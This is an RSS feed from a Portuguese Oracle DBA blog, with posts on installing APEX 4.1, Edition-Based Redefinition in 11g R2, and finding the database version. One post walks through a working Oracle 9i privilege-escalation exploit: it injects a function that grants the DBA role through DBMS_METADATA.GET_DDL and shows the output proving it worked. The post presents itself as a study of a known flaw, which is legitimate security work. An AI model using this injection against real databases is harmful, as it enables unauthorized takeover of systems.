<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>glufke.net &#187; DBA</title>
	<atom:link href="http://glufke.net/category/dba/feed/" rel="self" type="application/rss+xml" />
	<link>http://glufke.net</link>
	<description></description>
	<lastBuildDate>Wed, 30 Nov 2011 17:41:41 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Tutorial de Instalação do Oracle APEX 4.1</title>
		<link>http://glufke.net/2011/11/30/tutorial-de-instalacao-do-oracle-apex-4-1/</link>
		<comments>http://glufke.net/2011/11/30/tutorial-de-instalacao-do-oracle-apex-4-1/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 17:39:42 +0000</pubDate>
		<dc:creator>glufke</dc:creator>
				<category><![CDATA[DBA]]></category>
		<category><![CDATA[apex]]></category>
		<category><![CDATA[instalação]]></category>
		<category><![CDATA[xe]]></category>

		<guid isPermaLink="false">http://glufke.net/?p=489</guid>
		<description><![CDATA[Este tutorial mostra como instalar o Apex 4.1 no Oracle XE. Aí vai um passo a passo:
1 – Baixar e instalar Oracle XE
Download nesse link: http://www.oracle.com/technetwork/database/express-edition/overview/index.html

2 – Baixar Oracle Apex 4.1
Download nesse link: http://www.oracle.com/technetwork/developer-tools/apex/downloads/index.html?ssSourceSiteId=ocombr
// 

Descompactar arquivos no C:\oraclexe\apex
CMD&#62; cd c:\oraclexe\apex
CMD&#62; sqlplus sys@xe as sysdba
SQL&#62; @apexins SYSAUX SYSAUX TEMP /i/
CMD&#62; sqlplus sys@xe as sysdba
SQL&#62; @apxldimg.sql c:\oraclexe
SQL&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>Este tutorial mostra como instalar o Apex 4.1 no Oracle XE. Aí vai um passo a passo:</p>
<h3>1 – Baixar e instalar Oracle XE</h3>
<p>Download nesse link: <a href="http://www.oracle.com/technetwork/database/express-edition/overview/index.html">http://www.oracle.com/technetwork/database/express-edition/overview/index.html</a><br />
<span id="more-489"></span></p>
<h3>2 – Baixar Oracle Apex 4.1</h3>
<p>Download nesse link: <a href="http://www.oracle.com/technetwork/developer-tools/apex/downloads/index.html?ssSourceSiteId=ocombr">http://www.oracle.com/technetwork/developer-tools/apex/downloads/index.html?ssSourceSiteId=ocombr</a></p>
<div id="ads_336x280"><script type="text/javascript">// <![CDATA[
   google_ad_client = "pub-8964513116661040"; google_alternate_color = "ffffFF"; google_ad_width = 336; google_ad_height = 280; google_ad_format = "336x280_as"; google_ad_type = "text_image"; //2007-09-07: wp_quadrado_gra google_ad_channel = "0247072216"; google_color_border = "FFFFFF"; google_color_bg = "FFFFff"; google_color_link = "4F82CB"; google_color_text = "000000"; google_color_url = "4F82CB";
// ]]&gt;</script><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script></div>
<p>Descompactar arquivos no C:\oraclexe\apex</p>
<pre class="brush: plain;">CMD&gt; cd c:\oraclexe\apex
CMD&gt; sqlplus sys@xe as sysdba
SQL&gt; @apexins SYSAUX SYSAUX TEMP /i/
CMD&gt; sqlplus sys@xe as sysdba
SQL&gt; @apxldimg.sql c:\oraclexe
SQL&gt; @apxxepwd.sql &lt;password&gt;
SQL&gt; exec dbms_xdb.setListenerLocalAccess (l_access =&gt; FALSE);
SQL&gt; exit
CMD&gt; cd C:\oraclexe\apex\builder\pt-br
CMD&gt; set NLS_LANG=American_America.AL32UTF8
CMD&gt; sqlplus sys@xe as sysdba
SQL&gt; ALTER SESSION SET CURRENT_SCHEMA = APEX_040100;
SQL&gt; @load_pt-br.sql
SQL&gt; exit
CMD&gt; exit</pre>
<h3>3 – Como acessar</h3>
<p>Acesse o Apex pelo navegador: <a href="http://127.0.0.1:8080/apex">http://127.0.0.1:8080/apex</a><br />
<strong> Workspace:</strong> Internal<br />
<strong> Username:</strong> Admin<br />
<strong> Password:</strong> &lt;password&gt;<br />
Agora é só criar sua Workspace e começar a trabalhar..</p>
<p><em>Texto criado por Alex Pagliarini<br />
Comentários <a href="http://glufke.net/oracle/viewtopic.php?f=9&#038;t=8207">aqui</a></em></p>
]]></content:encoded>
			<wfw:commentRss>http://glufke.net/2011/11/30/tutorial-de-instalacao-do-oracle-apex-4-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Edition-Based Redefinition: a feature mais matadora do Oracle 11g R2</title>
		<link>http://glufke.net/2010/02/04/edition-based-redefinition/</link>
		<comments>http://glufke.net/2010/02/04/edition-based-redefinition/#comments</comments>
		<pubDate>Thu, 04 Feb 2010 14:44:51 +0000</pubDate>
		<dc:creator>glufke</dc:creator>
				<category><![CDATA[DBA]]></category>
		<category><![CDATA[PL/SQL]]></category>
		<category><![CDATA[Edition-Based Redefinition]]></category>
		<category><![CDATA[Funções]]></category>
		<category><![CDATA[Oracle 11g]]></category>

		<guid isPermaLink="false">http://glufke.net/?p=214</guid>
		<description><![CDATA[Eu considero Edition-Based Redefinition a nova característica mais matadora do Oracle Database 11g Release 2. Em suma, é a capacidade de executar uma atualização de aplicações online. É também um recurso gigante, tão grande que vai demorar pelo menos três colunas para descrevê-lo. Vou começar em Como usar Edition-Based Redefinition afim de aplicar &#8220;patches&#8221; em [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright" title="Oracle 11g R2" src="http://blogs.oracle.com/stevenChan/images/oracle_db11g_clr.gif" alt="" width="246" height="78" />Eu considero <strong>Edition-Based Redefinition</strong> a nova característica mais matadora do Oracle Database 11g Release 2. Em suma, é a capacidade de executar uma atualização de aplicações online. É também um recurso gigante, tão grande que vai demorar pelo menos três colunas para descrevê-lo. Vou começar em <em>Como usar Edition-Based Redefinition afim de aplicar &#8220;patches&#8221; em sistemas</em>.</p>
<p>Ao longo dos anos, o banco Oracle permite realizrmos muitas operações online, como:</p>
<ul>
<li>Modificar a maioria dos parâmetros (Apenas 90 dos 350 não são modificáveis online.)</li>
<li>Reorganização de objetos (transformar uma tabela não particionada em uma particionada, recuperando um espaço livre, e assim por diante)</li>
<li>Criar índices</li>
<li>Aplicação de patches no Banco de dados com o Oracle Real Application Clusters</li>
<li>Atualizar o banco de dados Oracle de release em release</li>
</ul>
<p>O resultado é que quase todas mudanças em nível de banco de dados pode ser feito enquanto o banco está funcionando e realizando transações &#8211; com algumas raras excepções gritantes, como re-criar uma procedure, alterar triggers, adicionar grants, revoke de grant, e modificar views. Em suma, os objetos que constituem esse tipo de modificação não podiam ser modificadas, enquanto os usuários estavam utilizando. Se uma procedure estava sendo executada e um DBA tentou atualizar ela (CREATE OR REPLACE o código com o novo código mexido, afim de corrigir um bug), o DBA iria ficar esperando (BLOCKED) por essa pessoa até terminar sua execução.</p>
<p>Além disso, qualquer pessoa que tentou posteriormente executar uma procedure que o DBA está tentando substituir também ficaria bloqueado pelo DBA. E na maioria dos casos, o DBA não modifica apenas uma única procedure, mas muitas,  e o CREATE OR REPLACE do novo código da procedure tenderia a invalidar outros objetos dependentes também. O banco de dados parece &#8220;congelar&#8221;, o DBA não pode realizar as tarefas de patch (substituir alguns procedimentos, pacotes, views, triggers, e assim por diante), e os usuários finais não podem realizar as suas tarefas. Eles acabaram bloqueando e travando-se mutuamente.</p>
<p>Isto tudo termina tudo com o <strong>Oracle Database 11g Release 2</strong> e o <strong>Edition-Based Redefinition</strong>, que permite aos DBAs e usuários finais acessar mais de uma ocorrência de uma stored procedure, trigger, view, e outros objetos e, portanto, isolar as mudanças em um esquema. Começando com o Oracle Database 11g Release 2, um único esquema pode agora ter duas ou mais ocorrências (vamos pensar em &#8220;versões&#8221;) de um stored procedure (função, trigger, e assim por diante) ou uma view ou de sinônimos e todos seus metadados relacionados, tais como GRANTS a esses objetos. (Estas duas ocorrências são independentes, eles coexistem, mas não interferem umas com as outras.) A &#8220;mágica&#8221; que permite isso é o novo objeto de <strong>edição</strong> (EDITION),  que introduz um novo namespace transparente que permite mais de uma ocorrência ao mesmo tempo de uma stored procedure, trigger e assim por diante.<span id="more-214"></span></p>
<p>No passado, um objeto de esquema era referenciado com dois componentes: o owner do objeto e o nome. Isso impedira a existência de dois procedimentos armazenados como &#8220;P&#8221; em um único esquema. Ou seja, você poderia ter apenas um objeto referenciado por &#8220;OWNER.P&#8221;.</p>
<p>O objeto de edição no Oracle Database 11g Release 2 introduz uma <em>terceira dimensão</em> no esquema de resolução de nomes: todos os objetos são referenciados pela <strong>edição da sessão</strong>, o <strong>owner do objeto</strong> e o<strong> nome do objeto</strong>. Cada banco de dados tem pelo menos uma edição a ela associados, e a base de dados tem sempre uma edição padrão. Quando você cria uma sessão no Oracle Database 11g Release 2, a sua sessão terá um atributo associado a ela que indica a edição que sua sessão estará usando (por padrão, esta será a edição padrão do banco de dados). Usando ALTER SESSION, você pode especificar qualquer edição para a qual tiver sido concedido o acesso em sua sessão.</p>
<p>Quando você invocar ou referenciar objetos no Oracle Database 11g Release 2, esses objetos são referenciado também com a edição fixada na sua sessão. Isso significa que um administrador do aplicativo pode agora logar, alterar uma sessão para utilizar uma <strong>edição chamada VERSION2</strong>, por exemplo, e compilar o código para esta <strong>edição</strong>. O trabalho realizado pelo administrador da aplicação na edição VERSION2 é visível apenas em sessões usando a edição VERSION2. &#8220;VERSION2&#8243; porque não é a edição padrão, ninguém mais vê essas mudanças (novas procedures, views, drop de pacotes, e assim por diante) a menos que a pessoa solicita especificamente (via ALTER SESSION) e tem o privilégio de usar e &#8220;ver&#8221; aquela edição. O administrador do aplicativo é capaz de criar ou substituir qualquer código sem concorrer com os outros que estão executando o código. Se o administrador do aplicativo precisa substituir 50 unidades de PL/SQL, essa pessoa pode fazê-lo em isolamento durante todo o tempo enquanto aplicação de produção continua rodando.</p>
<p>O exemplo a seguir demonstra este pequeno conceito. Vou começar como DBA, criando uma conta de demonstração e concedendo o mínimo de privilégios necessário:</p>
<pre class="brush: plain;">SQL&gt; create user demo
  2    identified by demo;
User created.

SQL&gt; grant create session,
  2       create procedure
  3    to demo;
Grant succeeded.</pre>
<p>Agora vou iniciar o processo que me permitirá criar mais de uma ocorrência de objetos do meu código na base de dados. Vou precisar de uma nova edição, a fim de fazer isso. O seguinte comando cria a nova edição:</p>
<pre class="brush: plain;">SQL&gt; create edition version2
  2      as child of ora$base;
Edition created.</pre>
<p>Criei uma edição chamada VERSION2 no meu banco de dados, e ela começa sendo filha de ORA$BASE. Como mencionado acima, cada banco de dados tem pelo menos uma edição e cada banco de dados tem uma edição padrão. Por exemplo, todo Oracle Database 11g Release 2 vai ter uma edição padrão chamado ORA$BASE. Como filha de ORA$BASE, minha edição VERSION2 começa a vida como uma <strong>cópia completa</strong> da edição padrão ORA$BASE. Tudo que está valendo em ORA$BASE também está em VERSION2.</p>
<div id="ads_336x280"><script type="text/javascript">// <![CDATA[
google_ad_client = "pub-8964513116661040";
google_alternate_color = "ffffFF";
google_ad_width = 336;
google_ad_height = 280;
google_ad_format = "336x280_as";
google_ad_type = "text_image";
//2007-09-07: wp_quadrado_gra
google_ad_channel = "0247072216";
google_color_border = "FFFFFF";
google_color_bg = "FFFFff";
google_color_link = "4F82CB";
google_color_text = "000000";
google_color_url = "4F82CB";
// ]]&gt;</script><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script></div>
<p>É importante notar, contudo, que esta VERSION2 é uma cópia virtual. A instrução CREATE EDITION não copia fisicamente cada objeto da ORA$BASE. Pelo contrário, VERSION2 aponta para os objetos ORA$BASE, e não vai começar a usar espaço no dicionário até que eu modifique os objetos no contexto da edição VERSION2.</p>
<p>Então, agora eu vou instalar a versão 1 da minha aplicação na conta DEMO:</p>
<pre class="brush: plain;">DEMO&gt; create or replace
  2      procedure my_procedure
  3      as
  4      begin
  5         dbms_output.put_line
  6         ( 'I am version 1.0' );
  7      end;
  8      /
Procedure created.

DEMO&gt; create or replace
  2      procedure my_procedure2
  3      as
  4      begin
  5         my_procedure;
  6      end;
  7      /
Procedure created.
</pre>
<p>Até agora muito simples, e quando eu executo essa &#8220;aplicação&#8221; eu vejo o seguinte:</p>
<pre class="brush: plain;">DEMO&gt; exec my_procedure2
I am version 1.0

PL/SQL procedure successfully completed.</pre>
<p>Agora, vamos supor que este código esteja executando em produção por um tempo e eu descubro um bug, algo que precise reparar na stored procedure. No passado, eu precisaria que o usuário parasse de rodar, a fim de instalar o novo código.</p>
<p>Agora, no entanto, eu posso levantar a mudança no banco de dados enquanto o banco está funcionando, e os usuários estão executando o meu código com a edição padrão (ORA$BASE). Primeiro, como o DBA, eu preciso permitir que a conta DEMO use edições, e então eu preciso permitir que a conta DEMO veja e use a edição VERSION2. Além disso, para esta demonstração, vou deixar que a conta SCOTT veja e use VERSION2:</p>
<pre class="brush: plain;">SQL&gt; alter user demo
  2    enable editions;
User altered.

SQL&gt; grant use
  2    on edition version2
  3    to demo;
Grant succeeded.

SQL&gt; grant use
  2    on edition version2
  3    to scott;
Grant succeeded.</pre>
<p>A instrução ALTER USER permite que  a conta DEMO use edições dos códigos. Sem este GRANT, a conta DEMO seria capaz de ter apenas de ter uma cópia do código em vigor, em determinado momento, assim como na versão 7.0 até a versão 11.1 do Oracle Database. A instrução GRANT USE em seguida, permite que a conta DEMO e SCOTT vejam a edição VERSION2. Como a conta DEMO é habilitada para edição, ela será capaz de modificar a edição VERSION2 assim como alterar implementação de vários objetos, nesta edição, sem afetar outras edições. A conta SCOTT será capaz de usar apenas a edição deste VERSION2 &#8211; para definir a sua edição atual, na sua sessão de VERSION2 e ver os objetos como eles existem naquela edição.</p>
<p>Agora eu vou &#8220;patchear&#8221; a minha aplicação. Logando novamente com a conta DEMO, vou ver primeiro o que eu tenho no local após alterar a minha sessão de usar a edição VERSION2, como mostrado na Listagem 1.</p>
<p><strong>Listagem de código 1:</strong> Definindo a edição VERSION2 e selecionando procedures</p>
<pre class="brush: plain;">DEMO&gt; alter session
  2       set edition = version2;
Session altered. 

DEMO&gt; select object_name,
  2               object_type,
  3               status,
  4               edition_name
  5      from user_objects;

OBJECT_NAME      OBJECT_TYPE    STATUS    EDITION_NAME
-------------    -----------    ------    ------------
MY_PROCEDURE2    PROCEDURE      VALID     ORA$BASE
MY_PROCEDURE     PROCEDURE      VALID     ORA$BASE</pre>
<p>Então, agora, na edição VERSION2, eu tenho ambas unidades de PL/SQL (MY_PROCEDURE e MY_PROCEDURE2), mas como denota a coluna EDITION_NAME, eles são &#8220;herdadas&#8221; da ORA$BASE. A edição VERSION2 está apontando para a cópia em ORA$BASE, mas não é uma cópia física do código.</p>
<p>Digamos que eu tenha que corrigir dois bugs. Primeiro, eu tenho um bug na implementação de MY_PROCEDURE, e eu vou substituir esse código. Em segundo lugar, eu perdi um GRANT, quando estava fazendo deploy do meu aplicativo, o usuário SCOTT era pra ter o privilégio EXECUTE MY_PROCEDURE2, mas de alguma forma isso não aconteceu quando eu instalei a última aplicação. Eu vou começar atualizando o código:</p>
<pre class="brush: plain;">DEMO&gt; create or replace
  2      procedure my_procedure
  3      as
  4      begin
  5         dbms_output.put_line
  6         ( 'I am version 2.0' );
  7      end;
  8      /
Procedure created.

DEMO&gt; select object_name,
  2         edition_name
  3      from user_objects;

OBJECT_NAME      EDITION_NAME
-------------    ------------
MY_PROCEDURE2    ORA$BASE
MY_PROCEDURE     VERSION2</pre>
<p>Como você pode ver, eu ainda tenho apenas dois objetos, mas existem três objetos físicos lá, como você verá em seguida. Tenho MY_PROCEDURE2, que é herdado ORA$BASE, e eu tenho MY_PROCEDURE, que agora existe fisicamente na edição VERSION2. Isso é chamado de colocar em prática o código quando eu tenho uma cópia física na edição, eu atualizei o código naquela edição.</p>
<p>Usando um novo conjunto de views pra ver em todas as edições e final em <strong>_AE</strong> &#8211; Eu posso ver todo o estado do meu esquema DEMO. Eu consulto a view USER_OBJECTS_AE para OBJECT_NAME e EDITION_NAME:</p>
<pre class="brush: plain;">DEMO&gt; select object_name,
  2         edition_name
  3      from user_objects_AE;

OBJECT_NAME      EDITION_NAME
-------------    ------------
MY_PROCEDURE     ORA$BASE
MY_PROCEDURE2    ORA$BASE
MY_PROCEDURE     VERSION2</pre>
<p>Olhando para as diferentes edições, você pode ver que eu atualizei duas cópias físicas de MY_PROCEDURE agora: uma na edição padrão ORA$BASE e uma na nova edição VERSION2 que estou trabalhando. Agora vou aplicar o grant de EXECUTE para SCOTT:</p>
<pre class="brush: plain;">DEMO&gt; grant execute
  2      on my_procedure2
  3      to scott;
Grant succeeded.

DEMO&gt; select object_name,
  2          edition_name
  3       from user_objects;

OBJECT_NAME      EDITION_NAME
-------------    ------------
MY_PROCEDURE2    VERSION2
MY_PROCEDURE     VERSION2

DEMO&gt; select object_name,
  2         edition_name
  3       from user_objects_AE;

OBJECT_NAME      EDITION_NAME
-------------    ------------
MY_PROCEDURE2    ORA$BASE
MY_PROCEDURE     ORA$BASE
MY_PROCEDURE2    VERSION2
MY_PROCEDURE     VERSION2</pre>
<p>Se você olhar para USER_OBJECTS, verá que eu tenho as duas procedures, mas ambas já foram atualizadas na edição VERSION2. Ao conceder o grant de EXECUTE nas procedures MY_PROCEDURE2 para SCOTT, eu fiz uma versão física da stored procedure aparecer na edição VERSION2, e eu apliquei o grant para que a edição em isolamento, sem encontrar quaisquer problemas de concorrência (problemas de bloqueios / lock porque alguém estava rodando a procedure). Olhando a USER_OBJECTS_AE, você pode ver que há agora quatro objetos físicos, dois em cada edição.</p>
<p>Agora, quando eu executo a procedure MY_PROCEDURE2 na edição VERSION2, eu vejo</p>
<pre class="brush: plain;">DEMO&gt; SELECT SYS_CONTEXT
  2         ('userenv',
  3          'current_edition_name') sc
  4       FROM DUAL;

SC
----------------------
VERSION2

DEMO&gt; exec my_procedure2
I am version 2.0

PL/SQL procedure successfully completed.</pre>
<p>A versão 2.0 do código é executada.</p>
<p>Agora, simplesmente por conectar e depois usar o banco com edição padrão (ainda ORA$BASE), iremos ver</p>
<pre class="brush: plain;">DEMO&gt; connect demo/demo
Connected.

DEMO&gt; SELECT SYS_CONTEXT
  2         ('userenv',
  3          'current_edition_name') sc
  4      FROM DUAL;

SC
-----------------------
ORA$BASE

DEMO&gt; exec my_procedure2
I am version 1.0

PL/SQL procedure successfully completed.</pre>
<p>A versão 1.0 do código ainda está lá, e por padrão, ele será executado.</p>
<p>Além disso, para ver o efeito do privilégio EXECUTE que eu concedi ao SCOTT, eu posso conectar como SCOTT e tentar executar o procedimento armazenado MY_PROCEDURE2 na edição padrão e a edição VERSION2, como mostrado na Listagem 2.</p>
<p><strong>Listagem de código 2:</strong> Executando my_procedure2 em edições atuais e na VERSION2</p>
<pre class="brush: plain;">DEMO&gt; connect scott/tiger
Connected.

SCOTT&gt; SELECT SYS_CONTEXT
  2         ('userenv',
  3          'current_edition_name') sc
  4       FROM DUAL;

SC
-----------------------
ORA$BASE

SCOTT&gt; exec demo.my_procedure2
BEGIN demo.my_procedure2; END;

      *
ERROR at line 1:
ORA-06550: line 1, column 7:
PLS-00201: identifier 'DEMO.MY_PROCEDURE2' must be declared
ORA-06550: line 1, column 7:
PL/SQL: Statement ignored

SCOTT&gt; alter session
  2       set edition = version2;
Session altered.

SCOTT&gt; exec demo.my_procedure2
I am version 2.0

PL/SQL procedure successfully completed.
</pre>
<p>Como você pode ver, quando SCOTT está usando a edição ORA$BASE, ele não pode ver ou executar a stored procedure MY_PROCEDURE2. No entanto, na edição VERSION2 o usuário SCOTT pode ver e executar esse procedimento, por isso, quando a versão 2.0 do aplicativo entra em produção, SCOTT terá a capacidade de executar esse procedimento por padrão.</p>
<p>Neste ponto, estou pronto para liberar este código para a produção para ser utilizado pela comunidade geral. Um único, simples ALTER DATABASE feito pelo DBA define a edição atual do banco de dados para VERSION2, e esse código se torna imediatamente acessível.</p>
<p>Gostaria de salientar que esta é apenas a ponta do iceberg. Aqui eu tive que fazer operações relativamente comums: substituir algumas unidades PL/SQL existentes e mudar GRANTS em alguns objetos. Eu não tomei toda a aplicação da versão 1.0 para a versão 2.0, porque isso implicaria mudar tabelas e outros objetos que não são &#8220;editáveis&#8221;. Então, o que esta coluna discutiu até agora é uma necessidade muito comum de aplicar correções em um sistema, em que você precise aplicar alterações e mudanças de código e privilégio, mas não alterações físicas, como alterações de esquema como adicionar colunas, acrescentar índices ou alterar tabelas. Estarei abordando a forma de realizar essas tarefas na próxima coluna.</p>
<p>Até então, veja o Capítulo 19 &#8220;Oracle Database Advanced Application Developer’s Guide 11g Release 2 (11.2)&#8221; encontrado em <a href="www.bit.ly/1m2n0J">www.bit.ly/1m2n0J</a>.</p>
<p><em>Esta é uma tradução literal do artigo escrito por <a href="http://www.oracle.com/technology/oramag/oracle/10-jan/o10asktom.html">Tom Kyte na Oracle Magazine de Janeiro/2010</a> por <a href="http://glufke.net">glufke.net</a>.</em></p>
<p>Comente <a href="http://glufke.net/oracle/viewtopic.php?p=22501">AQUI</a></p>
]]></content:encoded>
			<wfw:commentRss>http://glufke.net/2010/02/04/edition-based-redefinition/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Como conseguir privilégio de DBA no oracle 9i (falha de segurança)</title>
		<link>http://glufke.net/2008/10/13/conseguir-privilegio-de-dba-no-oracle-9i/</link>
		<comments>http://glufke.net/2008/10/13/conseguir-privilegio-de-dba-no-oracle-9i/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 17:02:32 +0000</pubDate>
		<dc:creator>glufke</dc:creator>
				<category><![CDATA[DBA]]></category>
		<category><![CDATA[Oracle 9i]]></category>
		<category><![CDATA[Segurança]]></category>

		<guid isPermaLink="false">http://glufke.net/?p=32</guid>
		<description><![CDATA[Neste post vamos mostrar como conseguir a role de DBA com oracle 9i tendo apenas permissão de CONNECT e RESOURCE. Utilizamos a versão 9.2.0.4.0 para realizar o estudo abaixo. Este post é baseado no documento de Pete Finnigan entitulado de &#8220;Many ways to become DBA&#8221;. 
Primeiramente vamos ver a versão exata que estamos usando:
sys@ORA9R2> select [...]]]></description>
			<content:encoded><![CDATA[<p>Neste post vamos mostrar como conseguir a role de DBA com oracle 9i tendo apenas permissão de CONNECT e RESOURCE. Utilizamos a versão 9.2.0.4.0 para realizar o estudo abaixo. Este post é baseado no documento de Pete Finnigan entitulado de &#8220;Many ways to become DBA&#8221;.<span id="more-32"></span> </p>
<p>Primeiramente vamos ver a versão exata que estamos usando:</p>
<pre class="brush: sql;">sys@ORA9R2> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.4.0
PL/SQL Release 9.2.0.4.0 - Production
CORE 9.2.0.3.0 Production
TNS for Linux: Version 9.2.0.4.0 - Production
NLSRTL Version 9.2.0.4.0 - Production</pre>
<p><strong>Criação do usuário</strong><br />
Neste exemplo, vamos criar o usuário que iremos transformar em DBA. Chamaremos o usuário de TESTUSER e daremos apenas acesso de CONNECT e RESOURCE pra ele!</p>
<pre class="brush: sql;">sys@ORA9R2> create user testUser identified by testUser;

User created.

sys@ORA9R2> grant connect, resource to testUser;

Grant succeeded.

sys@ORA9R2> connect testUser/testUser
Connected.
testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2></pre>
<p><strong>Ganhar privilégio de DBA</strong></p>
<p>Agora que o usuário está criado e tem pouquíssimos privilégios, vamos usar uma falha da versão 9i para obter a role DBA. Esta falha envolve a criação de uma função e o uso de uma vulnerabilidade da package DBMS_METADATA.</p>
<p>Criação da função</p>
<pre class="brush: sql;">testuser@ORA9R2> create or replace function testuser.hack return varchar2
2 authid current_user is
3 pragma autonomous_transaction;
4 begin
5 execute immediate 'grant dba to testUser';
6 return '';
7 end;
8 /

Function created.</pre>
<p>Execução da Função</p>
<pre class="brush: sql;">testuser@ORA9R2> select sys.dbms_metadata.get_ddl('''||testuser.hack()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||testuser.hack()||' for parameter OBJECT_TYPE in
function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1

no rows selected</pre>
<div id="ads_336x280"><script type="text/javascript"><!--
google_ad_client = "pub-8964513116661040";
google_alternate_color = "ffffFF";
google_ad_width = 336;
google_ad_height = 280;
google_ad_format = "336x280_as";
google_ad_type = "text_image";
//2007-09-07: wp_quadrado_gra
google_ad_channel = "0247072216";
google_color_border = "FFFFFF";
google_color_bg = "FFFFff";
google_color_link = "4F82CB";
google_color_text = "000000";
google_color_url = "4F82CB";
//-->
</script><script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div>
<p>E agora, a mágica!</p>
<pre class="brush: sql;">testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER DBA NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2></pre>
<p>Voalá! Role de DBA para TESTUSER !</p>
<p>Comentários <a href="http://glufke.net/oracle/viewtopic.php?t=3778">aqui</a></p>
]]></content:encoded>
			<wfw:commentRss>http://glufke.net/2008/10/13/conseguir-privilegio-de-dba-no-oracle-9i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Como descobrir a versão do Oracle</title>
		<link>http://glufke.net/2007/08/22/como-descobrir-a-versao-do-oracle/</link>
		<comments>http://glufke.net/2007/08/22/como-descobrir-a-versao-do-oracle/#comments</comments>
		<pubDate>Wed, 22 Aug 2007 23:34:43 +0000</pubDate>
		<dc:creator>glufke</dc:creator>
				<category><![CDATA[DBA]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Utilidade]]></category>

		<guid isPermaLink="false">http://glufke.net/2007/08/22/como-descobrir-a-versao-do-oracle/</guid>
		<description><![CDATA[Existem várias formas de descobrir a versão do Oracle sem olhar a &#8220;telinha inicial&#8221; do SQL*Plus. Neste artigo, debateremos 4 maneiras de se descobrir isso. Algumas são bem conhecidas e outra bem &#8220;raras&#8221; de se ver.
Usar a V$Version
SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.0.1.4.0 - Production
PL/SQL Release 9.0.1.4.0 - Production
CORE    [...]]]></description>
			<content:encoded><![CDATA[<p>Existem várias formas de descobrir a versão do Oracle sem olhar a &#8220;telinha inicial&#8221; do SQL*Plus. Neste artigo, debateremos 4 maneiras de se descobrir isso. Algumas são bem conhecidas e outra bem &#8220;raras&#8221; de se ver.<span id="more-6"></span></p>
<p><strong>Usar a V$Version</strong></p>
<pre class="brush: sql;">SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.0.1.4.0 - Production
PL/SQL Release 9.0.1.4.0 - Production
CORE    9.0.1.2.0       Production
TNS for Linux: Version 9.0.1.4.0 - Production
NLSRTL Version 9.0.1.4.0 - Production

5 rows selected.</pre>
<p><strong>SQL que mostra versão</strong></p>
<pre class="brush: sql;">SQL> select trunc( (&#038;_O_RELEASE/100000000)) || '.' ||
  2    trunc( mod((&#038;_O_RELEASE/1000000),100)) || '.' ||
  3    trunc( mod((&#038;_O_RELEASE/10000),100)) || '.' ||
  4    trunc( mod((&#038;_O_RELEASE/100),100))
  5    from dual;

TRUNC((
-------
9.0.1.4

1 row selected.

SQL></pre>
<p><strong>Mais um script interessante</strong></p>
<pre class="brush: sql;">rem -----------------------------------------------------------------------
rem Filename:   ver.sql
rem Purpose:    Show database version with options intalled
rem             (handy for your HELP/ABOUT menu)
rem Date:       12-Nov-1999
rem Author:     Frank Naude (frank@ibi.co.za)
rem -----------------------------------------------------------------------

set head off feed off pages 0 serveroutput on

col banner format a72 wrap

select banner
from   sys.v_$version;

select '   With the '||parameter||' option'
from   sys.v_$option
where  value = 'TRUE';

select '   The '||parameter||' option is not installed'
from   sys.v_$option
where  value <> 'TRUE';

begin
    dbms_output.put_line('Port String: '||dbms_utility.port_string);
end;
/</pre>
<div id="ads_336x280"><script type="text/javascript"><!--
google_ad_client = "pub-8964513116661040";
google_alternate_color = "ffffFF";
google_ad_width = 336;
google_ad_height = 280;
google_ad_format = "336x280_as";
google_ad_type = "text_image";
//2007-09-07: wp_quadrado_gra
google_ad_channel = "0247072216";
google_color_border = "FFFFFF";
google_color_bg = "FFFFff";
google_color_link = "4F82CB";
google_color_text = "000000";
google_color_url = "4F82CB";
//--></script><script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div>
<p>Este script gera uma saída como essa:</p>
<pre class="brush: sql;">SQL> @ver
Oracle9i Enterprise Edition Release 9.2.0.5.0 - Production
PL/SQL Release 9.2.0.5.0 - Production
CORE    9.2.0.6.0       Production
TNS for 32-bit Windows: Version 9.2.0.5.0 - Production
NLSRTL Version 9.2.0.5.0 - Production
   With the Partitioning option
   With the Objects option
   With the Advanced replication option
